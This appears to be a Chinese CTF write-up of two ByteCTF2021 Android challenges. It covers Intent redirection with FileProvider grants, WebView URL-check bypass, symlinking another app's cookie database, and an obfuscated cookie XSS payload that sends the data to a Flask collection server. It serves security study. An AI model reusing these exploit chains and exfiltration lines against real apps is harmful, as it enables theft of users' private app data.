Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup

Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup


1. 环境搭建

系统:

Ubuntu 18.04

步骤:

  1. 安装dokcer。
  2. 在虚拟机上,运行flask服务器。将打包好的pwn.apk放在服务器上。一是,在之后运行的脚本中可以在服务器上下载这个apk。二是,做URL参数解析,用来接收传出的flag。
from flask import Flask, request, send_from_directory
    import os
    app = Flask(__name__, static_folder='dist')

    @app.route("/")
    def hello():
        return "hello world" 
    # URL参数解析
    @app.route('/getUrlParam')
    def getUrlParam():
        # name=request.args["name"]
        # password=request.args["password"]
        flag = request.args["msg"]
        with open("./flag.sql",'w') as f:
            f.write(flag)
        # print("name:"+name)
        # print("password:"+password)
        s = "flag: %s"%flag
        print(s)
        return s
    @app.route('/test')
    def test():
        print("test")
        return app.send_static_file('test.html')
    # easydroid XSS
    @app.route('/exp.html')
    def ret_exp():
        print('exp.html')
        return app.send_static_file('exp.html')
    @app.route('/easydroid.html')
    def ret_easydroid():
        print('easydroid.html')
        return app.send_static_file('easydroid.html')


    # pwn.apk下载
    @app.route('/download/<filename>', methods=['GET'])
    def download(filename):
        if request.method == "GET":
            path = os.path.isfile(os.path.join(app.config['DOWNLOAD_FOLDER'], filename));
            if path:
                return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename, as_attachment=True)

    if __name__ == "__main__":
        app.config['DOWNLOAD_FOLDER'] = 'dist/download/'
        app.run(host='0.0.0.0',port =5000)
  1. ~/ByteCTF2021_Android/babydroid/src_babydroid目录下执行run.sh脚本,生成babydroid容器。docker镜像中有Android虚拟环境。下载镜像需要十到十五分钟。
    sudo bash run.sh
    
  2. 进入babydroid容器,在/challeng目录下,执行server.py文件。容器中会自动在emulator中执行pwn.apk,发动攻击,传出flag。
    python3 server.py
    
  3. flask服务器上接收传出的flag。

遇到的一些小问题

1.

需要打开虚拟机CPU虚拟化,在后来docker中虚拟kvm环境时需要。

在运行虚拟机是可能会提示无法虚拟化CPU,这种情况一般有以下三种原因:

  1. CPU确实无法虚拟化(无法解决)
  2. BIOS设置中未开启CPU
  3. 开启了Hyper-V导致VMware无法直接接触物理层(我就是这个原因,之前使用了WSL,开启了Hyper-V,导致在VMware中无法CPU虚拟化)
2.

emulator启动时会有如下报错,如果不在启动脚本中修改ADB_PORT会导致之后获得flag后,无法建立HTTP连接。


在脚本中修改如下:

3.

在获得flag后,因为安卓不方便控制台输出。所以exp选择用http把flag传出来。

在虚拟机上部署一个简单的flask,用来做url参数解析,即可获得传出的flag。

2. babydroid

1. 原理

题目漏洞点
babydroid的文件目录

FlagReceiver.java
public void onReceive(Context context, Intent intent) {
    String flag = intent.getStringExtra("flag");
    if(flag!=null){
        File file = new File(context.getFilesDir(), "flag");
        writeFile(file, flag);
        Log.e("FlagReceiver", "received flag.");
    }
}


系统广播flag后,广播接收器接收到flag,将它写入file的位置。我们就知道要想拿到flag,即是要读取/data/user/0/com.bytectf.babydroid/files/flag

Vulnerable.java中的Intent重定向漏洞
package com.bytectf.babydroid;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Parcelable;

import androidx.annotation.Nullable;

public class Vulnerable extends Activity {
    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Intent intent = getIntent().getParcelableExtra("intent");
        startActivity(intent);
    }
}

在第14行中,将Intent中的Extra属性中的值反序列化生成一个新的Intent
在第15行中,把新生成的不可信的Intent传给startActivity(),再以Vulnerable.java的身份执行startActivity(intent)
我们可以自己构造一个显式Intent,运行Vulnerable.java,并在Extra中放入一个序列化的危险Intent。Intent的重定向问题即发生在此。

AndroidManifest.xml中的文件临时授权问题

AndroidManifest.xml

...
        <provider
            android:name="androidx.core.content.FileProvider"
            android:authorities="androidx.core.content.FileProvider"
            android:grantUriPermissions="true"
            android:exported="false">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/file_paths"/>
        </provider>
...

file_paths.xml

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path="" />
</paths>

AndroidManifest.xml中,android:name的值是实现 Content Provider 的类的名称,应该是一个完全限定的类名。android:authorities的值是一个或多个 URI 授权方的列表,这些 URI 授权方用于标识 Content Provider 提供的数据。android:exported="false"虽然不允许外部组件访问数据,但是android:grantUriPermissions="true",可以通过授予权限,让应用组件对受权限保护的数据进行一次性访问。

file_paths.xml中,通过为每个目录添加一个XML元素来指定目录。在AndroidManifest.xml中,<meta-data>子元素 <provider>指向一个 XML 文件,已经指定了共享文件xml文件的目录。</provider></meta-data>

如何授予文件临时读写权限

在构造Intent组件时,data设置为content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flagflag设置为Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION,赋予临时数据读写权限。

public static final int FLAG_GRANT_PERSISTABLE_URI_PERMISSION = 64;
public static final int FLAG_GRANT_PREFIX_URI_PERMISSION = 128;
public static final int FLAG_GRANT_READ_URI_PERMISSION = 1;
public static final int FLAG_GRANT_WRITE_URI_PERMISSION = 2;

把想赋予的不同临时权限求亦或和,赋给flag,通过Intent打开的组件就可以获得对应的临时权限。

pwn思路

构造一个嵌套的Intent,并借助Vulnerable.java转发。因为fileProvider存在文件临时读写问题,故可在转发的过程中,赋予pwn临时读写flag文件的权限。最后用http传出。

2. 步骤

1

构造一个嵌套的Intent

Intent evil = new Intent("evil");
    evil.setClass(this,MainActivity.class);
    evil.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
    evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

    Intent intent = new Intent();
    intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
    intent.putExtra("intent",evil);

先构造需要Vulnerable.java转发的Intentevil,然后将evil序列化后放入跳转到VulnerableintentExtra属性中。注意,evilFlags要设置为3,这样被跳转的pwn就获得了文件临时读写权限。
如此便构造了一个嵌套的Intent

2

通过嵌套的Intent以及Vulnerable中的重定向漏洞,从pwn跳转到Vulnerable,再从VulnerableintentExtra反序列化为Intent类跳转到pwn。使pwn获得临时读写com.bytectf.babydroid的权限。

3

pwn读取flag,通过http传出来。

InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());
    String s = Base64.encodeToString(IOUtils.toString(inputStream).getBytes("UTF-8"), Base64.DEFAULT).replaceAll("\n", "");
    httpGet(s);


在服务器上获得flag

3. 考查知识点

  1. Intent组件的跳转
    https://developer.android.google.cn/reference/android/content/Intent
    https://www.notion.so/Intent-0ce819a19ce04ade8b6b910c4d7153c0
    https://www.jianshu.com/p/add5d8ec8ffb
  2. FileProvider对共享文件夹的权限控制
    https://developer.android.google.cn/reference/androidx/core/content/FileProvider
    https://developer.android.google.cn/guide/topics/manifest/provider-element#auth
    https://developer.android.google.cn/training/secure-file-sharing/setup-sharing

3. easydroid

1. 原理

题目漏洞点
easydroid的文件目录

FlagReciever.java
public void onReceive(Context context, Intent intent) {
        String flag = intent.getStringExtra("flag");
        if(flag!=null){
            try {
                flag = Base64.encodeToString(flag.getBytes("UTF-8"), Base64.DEFAULT);
                CookieManager cookieManager = CookieManager.getInstance();
                cookieManager.setCookie("https://tiktok.com/", "flag="+flag);
                Log.e("FlagReceiver", "received flag.");
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
        }
    }

把接收到的flag存入到持久化Cookies中。在本类中,Cookies是以.db的形式存储在/data/data/com.bytectf.easydroid/app_webview/Cookies中。所以,我们希望拿到flag就是希望能把Cookies传出来。

Mainactivity.java
if(data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")){
        WebView webView = new WebView(getApplicationContext());
        webView.setWebViewClient(new WebViewClient(){
            @SuppressLint("WrongConstant")
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                Uri uri = Uri.parse(url);
                if(uri.getScheme().equals("intent")){
                    try {
                        startActivity(Intent.parseUri(url,1));
                    } catch (URISyntaxException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
                return super.shouldOverrideUrlLoading(view, url);
            }
        });
        setContentView(webView);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.loadUrl(data.toString());
    }

第1行的URL验证,使用了contains(),不太严格,很容易被绕过。
第6到17行,重载了shouldOverrideUrlLoading)函数,存在Intent重定向漏洞。在Webview加载URL前,可能会先执行Intent的跳转。注意,这里的URL不一定是Intent传来的,也可能是脚本中需要打开的网页。

TestActivity.java
protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        String url = getIntent().getStringExtra("url");
        WebView webView = new WebView(getApplicationContext());
        setContentView(webView);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.loadUrl(url);
    }

TestActivity中的Webview因为不导出,所以只能借助MainActivity中的Intent重定向来间接访问。setAllowFileAccess在api 29及以下默认打开(常被开发者忽略),又因为Webview一般都会用到js,所以基本都会用setJavaScriptEnable。当这二者同时打开时,风险就出现了,而且这是一个很常见的风险。 (在谷歌的修复建议 https://support.google.com/faqs/answer/9084685 中,其实已经将该漏洞的利用思路指出来了)

pwn思路

使用XSS攻击,通过在Cookies中插入js脚本,当Webview把Cookies当作.html渲染时,将Cookies文件传出来就可以拿到flag。
pwn中构造一个Intent,通过Intent重定向运行MainActivity,因为Activity中有不严格的URL校验,可以绕过执行脚本easydroid.html。在easydroid.html脚本中,先通过TestActivity渲染exp.html文件,将恶意的<script>保存到Cookies中。再通过TestActivity渲染symlink.html(Cookies),将恶意代码执行。

2. 步骤

1

pwn中建立/data/user/0/com.bytectf.pwneasydroid/symlink.html指向/data/user/0/com.bytectf.easydroid/app_webview/Cookies的软连接。因为后面渲染symlink.html时会有URL检查。
Pwn Easydroid/MainActivity.java

private String symlink() {
        try {
            String root = getApplicationInfo().dataDir;
            String symlink = root + "/symlink.html";
            String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";

            Runtime.getRuntime().exec("rm " + symlink).waitFor();
            Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();

            return symlink;
        } catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }

2

pwn中,构造一个Intent,跳转启动MainActivityIntentData可设置为http://toutiao.com@10.24.32.128:5000/easydroid.html用以绕过检验,访问恶意脚本。

Pwn Easydroid/MainActivity.java

Intent intent = new Intent();
intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");
intent.setData(Uri.parse("http://toutiao.com@10.24.32.128:5000/easydroid.html"));
startActivity(intent);

Easydroid/MainActivity.java

if(data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")){
    WebView webView = new WebView(getApplicationContext());
    webView.setWebViewClient(new WebViewClient(){
        @SuppressLint("WrongConstant")
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            Uri uri = Uri.parse(url);
            if(uri.getScheme().equals("intent")){
                try {
                    startActivity(Intent.parseUri(url,1));
                } catch (URISyntaxException e) {
                    e.printStackTrace();
                }
                return true;
            }
            return super.shouldOverrideUrlLoading(view, url);
        }
    });
    setContentView(webView);
    webView.getSettings().setJavaScriptEnabled(true);
    webView.loadUrl(data.toString());
}
3

渲染easydroid.html,通过TestActivity渲染exp.html,将危险<script>写入Cookies文件。

easydroid.html

hahaha1

<script>
    function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms))
    }    
    sleep(1000).then(() => {
        location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=http%3A%2F%2F10.24.32.128:5000%2Fexp.html;end";
        // Intent { act=android.intent.action.VIEW cmp=com.bytectf.easydroid/.TestActivity (has extras) } mExtras: Bundle[{url=http://10.24.32.128:5000/exp.html}]
        sleep(40000).then(() => {
            location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2F%2F%2Fdata%2Fdata%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end";
            // Intent { act=android.intent.action.VIEW cmp=com.bytectf.easydroid/.TestActivity (has extras) } mExtras: Bundle[{url=file:///data/data/com.bytectf.pwneasydroid/symlink.html}]
        })
    })
</script>

第8行,第11行,location.href打开网页。将构造好的Intent作为参数,传给shouldOverrideUrlLoading进行Intent重定向。跳转到TestActivity渲染exp.html
第10行,等待40秒再渲染下一个网页,是因为打开网页,缓存Cookie需要20~40秒时间。

exp.html

<h1>injected cookie with xss</h1>
<script>document.cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMC4yNC4zMi4xMjg6NTAwMC9nZXRVcmxQYXJhbT9tc2c9IiArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaHRtbCIpWzBdLmlubmVySFRNTCk7Cg=='))\">'"</script>
<!-- new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);\n -->

第2行,将恶意JS代码作为Cookie值存在Cookies文件中。

4

TestActivity中WebviewsetAllowFileAccesssetJavaScriptEnable都已经打开,所以Webview可以渲染文件因为之前建立好了软链接,通过跳转TestActivity渲染file:///data/data/com.bytectf.pwneasydroid/symlink.html即是渲染/data/data/com.bytectf.easydroid/Cookies

new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);

Cookies文件中的全部内容作为文本,通过http传出来。


flask服务器上接到flag。因为Cookies在安卓中是以sqlite.db形式保存,所以以文本形式打开会有乱码。但因为我们在FlagReciever中已经知道flag放在什么地方,所以乱码也不影响我们读到flag

3. 考查知识点

  1. Intent重定向
  2. WebView组件
    https://developer.android.com/reference/android/webkit/WebView
    https://developer.android.com/reference/android/webkit/WebViewClient#shouldOverrideUrlLoading(android.webkit.WebView,%20java.lang.String)
    https://developer.android.com/reference/android/webkit/CookieManager#setCookie(java.lang.String,%20java.lang.String)
  3. XSS攻击
    https://zhuanlan.zhihu.com/p/342603075

4. 问题

1.为什么需要TestActivity来渲染exp.html和symlink.html?只用MainActivity不可以吗?

可以在easydroid.html脚本中,构造这样的 Intent : {cmp=com.bytectf.easydroid/.MainActivity data='http://toutiao.com@10.24.32.128:5000/exp.html'}

easydroid.html中的第二个URL的scheme是file://,在MainActivity.java中绕不过。

2.恶意js代码为什么需要btoa加密一下?

exp.html

<h1>injected cookie with xss</h1>
<script>document.cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMC4yNC4zMi4xMjg6NTAwMC9nZXRVcmxQYXJhbT9tc2c9IiArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaHRtbCIpWzBdLmlubmVySFRNTCk7Cg=='))\">'"</script>
<!-- new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);\n -->

直接明文的话,可能有保护机制,容易被截断。

3.为什么可以将其他app中的文件软链接进自己的文件夹中?这样不是很不安全吗?

Pwn Easydroid/MainActivity.java

private String symlink() {
        try {
            String root = getApplicationInfo().dataDir;
            String symlink = root + "/symlink.html";
            String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";

            Runtime.getRuntime().exec("rm " + symlink).waitFor();
            Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();

            return symlink;
        } catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }

软链接并没有不安全,主要要看软连接指向的那个文件,UID是否有读写权限。在这道问题中,symlink-->cookies,symlink被赋予777权限,可以被其他应用访问。而后是通过Easydroid的TestActivity.java来访问symlink-->cookies,这样TestActivity是可以访问cookies的。

4.一个app中的startactivity(Intent)跳转到了另一个app中,新运行的app是在原有app的沙箱中执行吗?换句话说,新执行的app可以访问原有app的文件夹中的文件吗?

如果不可以,那么Easydroid/TestActivity怎么可以渲染/data/user/0/com.bytectf.pwneasydroid/symlink.html。第一道题pwn也不应该能访问babydroid的文件夹。

Intent跳转本身是不携带任何权限的,文件读写权限的操作是在之前就处理好的。

0 条评论
某人
表情
可输入 255